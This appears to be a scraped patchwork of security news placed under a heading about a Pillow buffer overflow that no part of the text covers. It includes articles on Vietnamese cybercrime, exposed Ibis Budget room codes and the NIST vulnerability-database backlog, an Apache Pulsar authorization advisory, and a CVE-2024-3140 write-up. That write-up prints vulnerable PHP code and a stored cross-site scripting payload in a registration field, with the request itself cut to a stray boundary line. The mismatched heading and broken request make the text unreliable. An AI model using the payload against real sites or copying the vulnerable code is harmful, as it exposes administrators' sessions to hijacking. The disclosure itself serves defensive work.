GHSA-44wm-f244-xhp3: Pillow buffer overflow vulnerability

An economic success story in Asia, Vietnam is seeing more manufacturing and more business investment. But with that comes a significant uptick in cybercrime as well.

For one week last month, Vietnamese brokerage VNDirect Cyber Systems shut down its securities trading systems and disconnected from the country's two stock exchanges after a ransomware attack encrypted critical data. VNDirect was offline recovering until eight days later when the Ho Chi Minh and Hanoi stock exchanges allowed it to restart trading on April 1.

VNDirect Cyber Systems is just the latest Vietnamese company whose operations have been severely disrupted by a cyberattack.

In 2023, nearly 14,000 organizations across Vietnam suffered a cyberattack, an increase of 10% from the prior year, according to the country's National Cyber Security Centre (NCSC). While estimated damages caused by malicious software declined for the second year in a row to 17.3 trillion VND, or about US $690 million, a variety of other cybersecurity metrics continue to worsen, according to regional experts.

Overall, the country's economic picture is in flux. And that has led to a rise in cybercrime, says Ngoc Bui, a cybersecurity expert at Menlo Security, a provider of secure enterprise browser technology.

"Economic conditions, particularly in regions with limited job opportunities and low wages for high-skilled roles, can drive individuals to turn to cybercrime," he says. "This trend, fueled by the allure of cybercrime's rewards and digital anonymity, emphasizes the need for creating legitimate tech sector jobs to stimulate economic growth and counter cybercrime."

Vietnam is one of the fastest-growing economies in Asia, making the most of its connections to both China and the United States. The country's digital economy is expected to top US $43 billion by 2025, in part because of its focus on technology including initiatives in e-government, smart cities, and artificial intelligence, according to consulting giant PricewaterhouseCoopers. As a result, in mid-March, a delegation of nearly 60 US companies — including giants such as Meta and Boeing — visited the country to seek out investment opportunities.

**Cracked Software, Junk Bank Accounts**

The success has brought rapid technology adoption and significant cybercrime.

Nearly 750,000 systems were attacked by credential-stealing malware in 2023, an increase of 40% compared to the previous year, according to regional cybersecurity firm Bkav Technology Group. Online financial fraud has taken off due to a problem specific to the country: Bank account owners selling access to unused accounts. These so-called "junk accounts" make it difficult to track cybercriminals by following the money, says Nguyen Van Cuong, director in charge of cybersecurity at Bkav.

"Many people simply think that selling accounts they don't use won't be a problem," he said in a statement. "But in reality, bad guys have taken advantage of these bank accounts to carry out illegal transactions, hiding their origin, causing difficulties for investigation agencies."

Pirated or cracked software is another major issue. Fifty-three percent of computers are thought to be using pirated software, according to Bkav.

While the government has issued decrees to increase cybersecurity awareness, citizens continue to participate in these risky digital behavior, such as junk bank accounts and the use of cracked software, says Sarah Jones, a cyber threat intelligence research analyst at Critical Start.

"Vietnam's rapid digital growth creates a larger target for cybercriminals, and a lack of cybersecurity awareness among users makes them more susceptible," she says. "The widespread use of cracked software further exposes individuals and organizations to malware and exploitable weaknesses."

**Countering Cybercrime**

Vietnam's ruling Communist Party has strived to keep pace with cybercrime, issuing a number of directives to strengthen laws around the prevention and investigation of cybercrimes in 2021, and in 2020 launched efforts to raise public awareness of cybersecurity. Another directive, passed in 2019, required public sector organizations to spend at least 10% of their IT budget on cybersecurity. The sustained efforts has boosted Vietnam's ranking in the Global Cybersecurity Index to 25th out of 194 countries in the 2020 report (the latest available), up from 100th in 2017.

The country is already working with the United Nations Office on Drugs and Crime (UNODC) to strengthen the technical skills of law enforcement to tackle money laundering and other crimes.

Yet, divisions within the country are also driving the creation of dark platforms to escape increasing surveillance and Internet censorship by the government. A military group consisting of thousands of service members, known as Force 47, monitors communications and manages censorship in accordance with the government mandates, but also has resulted in the creation of several anonymity-as-a-service groups.

Such efforts will likely result in stronger Dark markets and platforms such as VietCredCare and DarkGate, both created by home-grown APT groups like Ocean Lotus and Lotus Bane, says Ken Dunham, cyber threat director at Qualys's threat research group.

"The threatscape in Vietnam is complicated with APT groups targeting companies for the benefit of the country, \[as well as\] Internet censorship, monitoring, and blocking of content by the Force 47 group," he says.

The next two years will be uncertain for Vietnam in many ways.

The leadership of the Community Party is expected to change by 2026, and economists wonder if the country can continue to deliver strong economic gains. Both uncertainties could breed more cybercrime in the future there.

Hackers Find Easy Access to Rooms at Ibis Budget Hotels!
This is a post from HackRead.com Read the original post: Vulnerability Exposed Ibis Budget Guest Room Codes to Hackers

Ibis Budget guests were left vulnerable after a security flaw in self-check-in kiosks exposed room access codes. Learn how this major security breach could have impacted travelers and what steps you can take to stay safe.

A data security issue at Ibis Budget hotels across Europe raised concerns for guest safety after a vulnerability in their self-check-in kiosks allowed anyone to see room access codes.

The issue came to light in late 2023 when a team of hackers from Swiss firm Pentagrid discovered the flaw in a kiosk at an Ibis Budget hotel in Germany. Their investigation revealed that the kiosks displayed the room access codes on the screen after check-in, potentially compromising the security of any guest who used the kiosk.

While Pentagrid only confirmed the vulnerability in a single German hotel, they believe it likely impacted a wider range of Ibis Budget locations. The budget hotel chain, owned by hospitality giant Accor, boasts over 600 locations across 20 countries.

According to Pentagrid, it promptly notified Accor about the security hole. The hotel group responded swiftly and within a month, a patch was rolled out to address the vulnerability and prevent further exposure of room access codes.

Although a fix is now in place, cybersecurity experts warn that such vulnerabilities can have serious consequences. With access codes exposed, anyone could potentially gain unauthorized entry to a guest’s room, putting them and their belongings at risk.

It is worth mentioning that hotels are a lucrative target for cybercriminals. There have been cases where threat actors infected hotel door lock systems with ransomware, or security researchers identified critical security vulnerabilities in electronic key software used by thousands of hotels worldwide, allowing hackers to unlock hotel rooms.

****Watch the Demo Video****

Despite the potential severity of the issue, Accor has not yet issued a public statement regarding the vulnerability in their Ibis Budget kiosks. This lack of transparency has raised concerns among security researchers and potential guests.

Nevertheless, security experts advise travellers using Ibis Budget hotels to be cautious and consider alternative check-in methods if available. Additionally, remaining alert about personal belongings and reporting any suspicious activity to hotel staff is crucial.

The Ibis Budget kiosk vulnerability shows the growing importance of cybersecurity in the hospitality industry. As hotels increasingly rely on technology to streamline operations, ensuring vital security measures are in place is vital to protect guests and maintain trust.

Vulnerability Exposed Ibis Budget Guest Room Codes to Hackers

This vulnerability allows authenticated users with produce or consume permissions to perform unauthorized operations on partitioned topics, such as unloading topics and triggering compaction. These management operations should be restricted to users with the tenant admin role or superuser role. An authenticated user with produce permission can create subscriptions and update subscription properties on partitioned topics, even though this should be limited to users with consume permissions. This impact analysis assumes that Pulsar has been configured with the default authorization provider. For custom authorization providers, the impact could be slightly different. Additionally, the vulnerability allows an authenticated user to read, create, modify, and delete namespace properties in any namespace in any tenant. In Pulsar, namespace properties are reserved for user provided metadata about the namespace.

This issue affects Apache Pulsar versions from 2.7.1 to 2.10.6, from 2.11.0 to 2.11.4, from 3.0.0 to 3.0.3, from 3.1.0 to 3.1.3, and from 3.2.0 to 3.2.1. 

3.0 Apache Pulsar users should upgrade to at least 3.0.4.
3.1 and 3.2 Apache Pulsar users should upgrade to at least 3.2.2.

Users operating versions prior to those listed above should upgrade to the aforementioned patched versions or newer versions.

GHSA-7mg2-6c6v-342r: Apache Pulsar: Improper Authorization For Namespace and Topic Management Endpoints

The National Vulnerability Database can't keep up, and the agency is calling for a public-private partnership to manage it going forward.

Source: GK Images via Alamy Stock Photo

After warning it can't keep up with the exploding number of bugs being submitted to the National Vulnerability Database (NVD), the National Institute of Science and Technology (NIST) has asked for additional resources from the US government and the private sector.

The agency said in February it was experiencing delays updating the NVD. This week, it admitted the delays have ballooned into a bona fide backlog. NIST said it is working to address the highest priority vulnerabilities first.

"This is based on a variety of factors, including an increase in software and, therefore, vulnerabilities, as well as a change in interagency support," NIST said in a statement regarding its NVD backlog.

Staff at NIST are being shuffled around to triage the vulnerability analysis delays, but longer-term solutions are required, the agency explained. One specific suggestion NIST highlighted was the creation of a public-private consortium to support the NVD, made up of "industry, government, and other stakeholder organizations that can collaborate on research."

**NIST Needs a New Approach**

NIST's NVD is foundational to security operations, according to Jason Soroko, senior vice president of product at Sectigo. And getting additional analysts working through the backlog is critical, he added.

"The problem is scale," Soroko says. "NIST is going to open up the program to a consortia of vetted organizations from the industry in order to deal with the backlog of vulnerabilities that need to be analyzed and understood before being put into the NVD database. The move is a good one."

NIST needs a new approach if the agency is going to be able to keep up with the explosion in CVEs, explains Saumitra Das, vice president of engineering at Qualys.

"NIST NVD has been a cornerstone of vulnerability management for a long time," Das says. "However, the exponential growth in CVE issuance has created pressure which will necessitate a different and prioritized approach as mentioned in this statement. Budget cuts happening for the first time in a decade are possibly part of this issue as well, apart from the sheer volume."

Because NIST and the NVD have been so important to cybersecurity in the past, John Bambenek, president at Bambenek Consulting, says he's hopeful that with an assist from the cybersecurity industry, NVD can get back on track.

"The NVD is a major success story for NIST and cybersecurity, and hopefully a pivot to a private-public sector partnership can be reached quickly to scale up the program," Bambenek says. "This announcement illustrates that the explosion in vulnerability possibilities has grown so large that not even the US government can adequately keep their hands around the problem."

#BuG_Author: SoSPiro  
#CVE: CVE-2024-3140

# Vulnerable code section:

foreach($_POST as $k => $v){  
    $v = $this->conn->real_escape_string($v);  
    if(in_array($k, $main_field)){  
        if(!empty($data)) $data .= ", ";  
        $data .= " `{$k}` = '{$v}' ";  
    }  
}

- The vulnerable section of the code lies within the registration() method of the Users class. Specifically, the lack of proper validation and sanitization of user input allows for potential Cross-Site Scripting (XSS) attacks.

# Vulnerability Description:

- The vulnerability arises due to the lack of proper validation and sanitization of user-supplied data before it is used in constructing SQL queries. This allows an attacker to inject malicious scripts, such as JavaScript code, into the database. When the administrator views the user list, the injected script gets executed, leading to a Cross-Site Scripting (XSS) attack.

-----------------------------381104392340117332004262429571--

- In this POST request, an attacker has included a script tag in the "middlename" field:

<script>alert(1)</script>

- When the administrator views the user list, this script tag will be executed, leading to the alert dialog box with the message "1" being displayed. This demonstrates the XSS vulnerability in the application.

# Impact:

- The impact of this vulnerability is significant. An attacker can execute arbitrary JavaScript code within the context of the administrator's session, potentially leading to theft of sensitive information, session hijacking, or defacement of the application. Additionally, since the XSS payload executes within the administrator's session, it can lead to further exploitation of the system or its users.
